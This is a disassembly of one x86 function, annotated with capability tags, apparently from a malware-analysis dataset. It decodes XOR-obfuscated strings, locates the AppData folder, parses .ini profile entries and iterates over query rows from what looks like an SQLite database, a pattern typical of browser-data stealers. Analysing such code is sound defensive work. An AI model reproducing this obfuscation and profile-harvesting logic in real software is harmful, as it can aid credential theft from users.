Function at 0x440b20
Capabilities:
Encode data using xor
Get common file path
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x522f5a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1448
push ebx
call fcn.004f8970
push esi
mov esi, ecx
mov dword [ebp - 0x134], esi
push edi
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.00481590
mov byte [ebp - 4], 1
movaps xmm0, xmmword [0x543f50]
lea ecx, [ebp - 0x68]
sub esp, 8
mov dword [ebp - 0x14], 1
mov eax, esp
mov byte [ebp - 0x25], 0x8a
movups xmmword [ebp - 0x24], xmm0
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0047d960
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 8
jb 0x440bb8
mov dword [0x5585d4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x25]
mov byte [ebp - 0x1d], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440bf0
sub ecx, edx
lea eax, [ebp - 0x25]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402b20
mov dword [ebp - 0x14], 0x40001
mov byte [ebp - 4], 4
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
mov ecx, esi
cmovae eax, dword [ebp - 0x58]
push eax
call fcn.00483b70
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x68]
mov byte [edi], cl
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x60]
mov byte [ebp - 0x68], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x68]
mov dword [edi + 8], eax
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], esi
call fcn.0047d5c0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x440c88
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440c7e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
push 0x104
lea eax, [ebp - 0x458]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x458]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x458]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440cc0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x4422cd
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x458]
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x1a8]
call fcn.00487550
mov dword [ebp - 0x14], 0x60001
mov byte [ebp - 4], 6
xor ecx, ecx
movaps xmm0, xmmword [0x543f30]
mov dword [ebp - 0x2a], 0x819f9cb7
mov word [ebp - 0x26], 0x9989
movups xmmword [ebp - 0x24], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2a], al
inc ecx
cmp ecx, 0xd
jb 0x440d24
mov dword [0x55852c], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2a]
mov byte [ebp - 0x1d], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440d56
sub ecx, edx
lea eax, [ebp - 0x2a]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402b20
mov dword [ebp - 0x14], 0x70001
mov byte [ebp - 4], 7
lea edx, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
cmovae edx, dword [ebp - 0x58]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440d87
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x198]
sub eax, esi
cmp eax, ecx
jb 0x4422d2
cmp dword [ebp - 0x194], 0x10
lea eax, [ebp - 0x1a8]
push ecx
cmovae eax, dword [ebp - 0x1a8]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x190]
call fcn.00487550
mov edi, 0x170001
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x440e0c
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440e02
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422d7
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x17c], 0x10
lea eax, [ebp - 0x190]
cmovae eax, dword [ebp - 0x190]
push eax
push 0x1000
lea eax, [ebp - 0x1458]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea esi, [ebp - 0x1458]
mov dword [ebp - 0x40], esi
nop dword [eax]
movaps xmm0, xmmword [0x543970]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
nop dword [eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 7
jb 0x440e50
mov dword [0x558510], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x1d], 0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x90], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x8c], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440e90
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.00402b20
or edi, 2
lea eax, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
push 7
cmovae eax, dword [ebp - 0xa0]
push eax
push esi
mov dword [ebp - 0x14], edi
call fcn.005051ee
mov ecx, dword [ebp - 0x8c]
add esp, 0xc
test eax, eax
sete al
mov byte [ebp - 0x31], al
cmp ecx, 0x10
jb 0x440f14
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440f07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
mov al, byte [ebp - 0x31]
add esp, 8
test al, al
je 0x4421de
push 0x104
lea eax, [ebp - 0x350]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
mov dword [ebp - 0xbb], 0x86998dbb
cmp dword [ebp - 0x17c], 0x10
lea esi, [ebp - 0x190]
xorps xmm0, xmm0
mov byte [ebp - 0xaf], 0
cmovae esi, dword [ebp - 0x190]
xor ecx, ecx
movq qword [ebp - 0xb7], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0xbb], al
inc ecx
cmp ecx, 4
jb 0x440f64
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xbb]
mov byte [ebp - 0xb7], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x18], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440fa0
sub ecx, edx
lea eax, [ebp - 0xbb]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402b20
push esi
push 0x104
or edi, 0x40
lea ecx, [ebp - 0x350]
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push ecx
cmovae eax, dword [ebp - 0x2c]
push 0
push eax
push dword [ebp - 0x40]
mov dword [ebp - 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x441017
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44100d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov byte [ebp - 0xe7], 0xb7
movq qword [ebp - 0xe6], xmm0
xor ecx, ecx
mov byte [ebp - 0xde], 0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0xe7], al
inc ecx
cmp ecx, 1
jb 0x441032
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xe7]
mov byte [ebp - 0xe6], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x18], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441070
sub ecx, edx
lea eax, [ebp - 0xe7]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402b20
or edi, 0x80
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
cmovae edx, dword [ebp - 0x2c]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4410a6
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x198]
sub eax, esi
cmp eax, ecx
jb 0x4422cd
cmp dword [ebp - 0x194], 0x10
lea eax, [ebp - 0x1a8]
push ecx
cmovae eax, dword [ebp - 0x1a8]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x110]
call fcn.00487550
or edi, 0x100
mov dword [ebp - 0x14], edi
lea eax, [ebp - 0x350]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x110]
call fcn.0047f7d0
or edi, 0x200
mov dword [ebp - 0x14], edi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x441179
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44116f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x4411cc
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4411c2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x6c], 0
movups xmmword [ebp - 0x80], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4411f0
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.00402b20
mov byte [ebp - 4], 0xf
lea edi, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
mov esi, dword [ebp - 0x70]
cmovae edi, dword [ebp - 0x80]
test esi, esi
je 0x4413b4
push esi
push 0x2f
push edi
call fcn.004fb3e0
add esp, 0xc
test eax, eax
je 0x4413b4
sub eax, edi
cmp eax, 0xffffffff
je 0x4413b4
xorps xmm0, xmm0
mov byte [ebp - 0xdd], 0xc4
movq qword [ebp - 0xdc], xmm0
xor ecx, ecx
mov byte [ebp - 0xd4], 0
nop dword [eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0xdd], al
inc ecx
cmp ecx, 1
jb 0x441260
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xdd]
mov byte [ebp - 0xdc], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x18], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4412a0
sub ecx, edx
lea eax, [ebp - 0xdd]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402b20
or dword [ebp - 0x14], 0x800
mov byte [ebp - 4], 0x10
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x2c]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x30], esp
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4412f0
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402b20
sub esp, 0x18
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x80]
mov ecx, esp
push eax
call fcn.0047faa0
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0x10
call fcn.0040ca20
add esp, 0x30
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x44135e
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x441354
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x1dc]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x1e0]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0x80]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x4413a2
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x441398
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.0047f6a0
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0xf
call fcn.00481d80
mov esi, dword [ebp - 0x70]
cmp dword [ebp - 0x6c], 0x10
lea edi, [ebp - 0x80]
cmovae edi, dword [ebp - 0x80]
test esi, esi
je 0x441551
push esi
push 0x5c
push edi
call fcn.004fb3e0
add esp, 0xc
test eax, eax
je 0x441551
sub eax, edi
cmp eax, 0xffffffff
je 0x441551
xorps xmm0, xmm0
mov byte [ebp - 0xf1], 0xb7
movq qword [ebp - 0xf0], xmm0
xor ecx, ecx
mov byte [ebp - 0xe8], 0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0xf1], al
inc ecx
cmp ecx, 1
jb 0x441401
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xf1]
mov byte [ebp - 0xf0], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x18], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441440
sub ecx, edx
lea eax, [ebp - 0xf1]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402b20
or dword [ebp - 0x14], 0x2000
mov byte [ebp - 4], 0x14
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x2c]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x30], esp
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441490
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402b20
sub esp, 0x18
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x80]
mov ecx, esp
push eax
call fcn.0047faa0
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 0x14
call fcn.0040ca20
add esp, 0x30
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x4414fe
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4414f4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x1d0]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x1d4]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0x80]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x441542
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x441538
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.0047f6a0
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 0xf
call fcn.00481d80
movaps xmm0, xmmword [0x545690]
xor ecx, ecx
movups xmmword [ebp - 0x112], xmm0
mov word [ebp - 0x102], 0x8892
xorps xmm0, xmm0
mov byte [ebp - 0x100], 0x98
movq qword [ebp - 0xff], xmm0
mov byte [ebp - 0xf7], 0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x112], al
inc ecx
cmp ecx, 0x13
jb 0x441583
mov dword [0x558558], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x112]
mov byte [ebp - 0xff], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x18], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4415c0
sub ecx, edx
lea eax, [ebp - 0x112]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402b20
mov edi, dword [ebp - 0x14]
or edi, 0x20
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
cmovae edx, dword [ebp - 0x2c]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4415f6
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x1e8]
sub eax, esi
cmp eax, ecx
jb 0x4422cd
cmp dword [ebp - 0x1e4], 0x10
lea eax, [ebp - 0x1f8]
push ecx
cmovae eax, dword [ebp - 0x1f8]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0xa0]
call fcn.00487550
or edi, 0x10
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x441679
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44166f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov word [ebp - 0xd3], 0x8e99
movq qword [ebp - 0xd1], xmm0
xor ecx, ecx
mov byte [ebp - 0xc9], 0
nop word [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0xd3], al
inc ecx
cmp ecx, 2
jb 0x4416a0
mov dword [0x558548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xd3]
mov byte [ebp - 0xd1], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x18], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4416e0
sub ecx, edx
lea eax, [ebp - 0xd3]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402b20
or edi, 0x400
lea ecx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x14], edi
cmovae ecx, dword [ebp - 0x2c]
cmp dword [ebp - 0x8c], 0x10
push ecx
cmovae eax, dword [ebp - 0xa0]
push eax
call fcn.004fda60
mov ecx, dword [ebp - 0x18]
add esp, 8
mov esi, eax
cmp ecx, 0x10
jb 0x441761
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x441757
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
test esi, esi
je 0x4420fa
push esi
call fcn.005012e8
add esp, 4
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x60]
push 0
mov byte [ebp - 0x68], 0
call fcn.00481590
sub esp, 8
mov byte [ebp - 4], 0x1c
mov eax, esp
lea ecx, [ebp - 0x158]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0047d960
add esp, 8
mov byte [ebp - 4], 0x1d
mov al, byte [ebp - 0x68]
test al, al
jne 0x441825
push 8
mov byte [ebp - 0x68], 1
call fcn.004f7990
mov esi, eax
add esp, 4
lea eax, [ebp - 0x81]
mov dword [ebp - 0x1c4], esi
mov dword [ebp - 0x1c8], eax
mov byte [ebp - 4], 0x1e
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004f7990
mov byte [ebp - 4], 0x1d
add esp, 4
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x60], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x441830
cmp al, 1
jne 0x442331
mov esi, dword [ebp - 0x60]
lea eax, [ebp - 0x80]
mov ecx, esi
push eax
call fcn.00481760
mov byte [ebp - 4], 0x1c
mov edi, eax
mov cl, byte [ebp - 0x158]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x150]
mov byte [ebp - 0x158], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x158]
mov dword [edi + 8], eax
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x14c], esi
call fcn.0047d5c0
cmp dword [ebp - 0x8c], 0x10
lea ecx, [ebp - 0xa0]
lea edx, [ebp - 0x130]
cmovae ecx, dword [ebp - 0xa0]
call fcn.00417ba0
test eax, eax
jne 0x44200b
movaps xmm0, xmmword [0x545b60]
xor ecx, ecx
movups xmmword [ebp - 0x12c], xmm0
mov dword [ebp - 0x10c], 0x7c626a54
movaps xmm0, xmmword [0x544db0]
movups xmmword [ebp - 0x11c], xmm0
mov word [ebp - 0x108], 0x7862
movaps xmm0, xmmword [str.xaggo_]
movups xmmword [ebp - 0x106], xmm0
nop word [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x12c], al
inc ecx
cmp ecx, 0x2d
jb 0x4418f0
mov dword [0x5584e4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x12c]
mov byte [ebp - 0xff], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x18], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441930
sub ecx, edx
lea eax, [ebp - 0x12c]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402b20
or dword [ebp - 0x14], 0x8000
lea esi, [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
cmp edx, 0x10
mov ecx, dword [ebp - 0x2c]
setae al
cmovae esi, ecx
test al, al
je 0x44198f
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x441985
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4422c8
push edx
push ecx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x130]
lea eax, [ebp - 0x88]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
mov edx, esi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.004dd320
add esp, 0x14
test eax, eax
jne 0x442000
mov edi, dword [ebp - 0x88]
mov ecx, edi
call fcn.004b9b80
cmp eax, 0x64
jne 0x441f88
lea eax, [ebp - 0x82]
mov dword [ebp - 0x1c0], eax
nop word [eax + eax]
test edi, edi
je 0x441a3f
cmp dword [edi + 0x2c], 0
je 0x441a1a
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x441a1a
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x441a15
push eax
call dword [0x555d08]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x441a44
mov eax, dword [edi]
test eax, eax
je 0x441a3f
mov eax, dword [eax + 0x44]
test eax, eax
je 0x441a31
push eax
call dword [0x555d08]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.004a84e0
add esp, 0xc
mov ecx, 0x53c608
mov dl, 1
call fcn.004b69f0
mov dword [ebp - 0x3c], eax
test edi, edi
je 0x441afe
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x441a8c
cmp byte [esi + 0x1e], 0
jne 0x441a6f
mov edx, esi
cmp ecx, 0xc0a
jne 0x441a87
push 0
push 7
push esi
call fcn.004a84e0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x441a93
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x441aa9
push eax
call dword [0x555d10]
add esp, 4
test edi, edi
je 0x441afe
cmp dword [edi + 0x2c], 0
je 0x441ad9
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x441ad9
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x441ad1
push eax
call dword [0x555d08]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x441b03
mov eax, dword [edi]
test eax, eax
je 0x441afe
mov eax, dword [eax + 0x44]
test eax, eax
je 0x441af0
push eax
call dword [0x555d08]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.004a84e0
add esp, 0xc
mov ecx, 0x53c608
mov dl, 1
call fcn.004b69f0
mov dword [ebp - 0x38], eax
test edi, edi
je 0x441b64
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x441b47
cmp byte [esi + 0x1e], 0
jne 0x441b2a
mov eax, esi
cmp ecx, 0xc0a
jne 0x441b42
push 0
push 7
push esi
call fcn.004a84e0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x441b4e
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x441b64
push eax
call dword [0x555d10]
add esp, 4
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x140]
push 0
mov byte [ebp - 0x148], 0
call fcn.00481590
mov byte [ebp - 4], 0x22
xorps xmm0, xmm0
push 0x18
mov dword [ebp - 0xc8], 0x8b808d85
movq qword [ebp - 0xc4], xmm0
mov byte [ebp - 0xbc], 0
movq qword [ebp - 0x160], xmm0
mov byte [ebp - 0x168], 3
call fcn.004f7990
mov esi, eax
add esp, 4
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1bc], esi
mov ecx, dword [ebp - 0x3c]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x23
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441be0
sub ecx, edx
push ecx
push dword [ebp - 0x3c]
mov ecx, esi
call fcn.00402b20
mov dword [ebp - 0x1bc], 0
mov dword [ebp - 0x160], esi
mov byte [ebp - 4], 0x24
xor ecx, ecx
nop word [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0xc8], al
inc ecx
cmp ecx, 4
jb 0x441c10
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xc8]
mov byte [ebp - 0xc4], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x18], 0
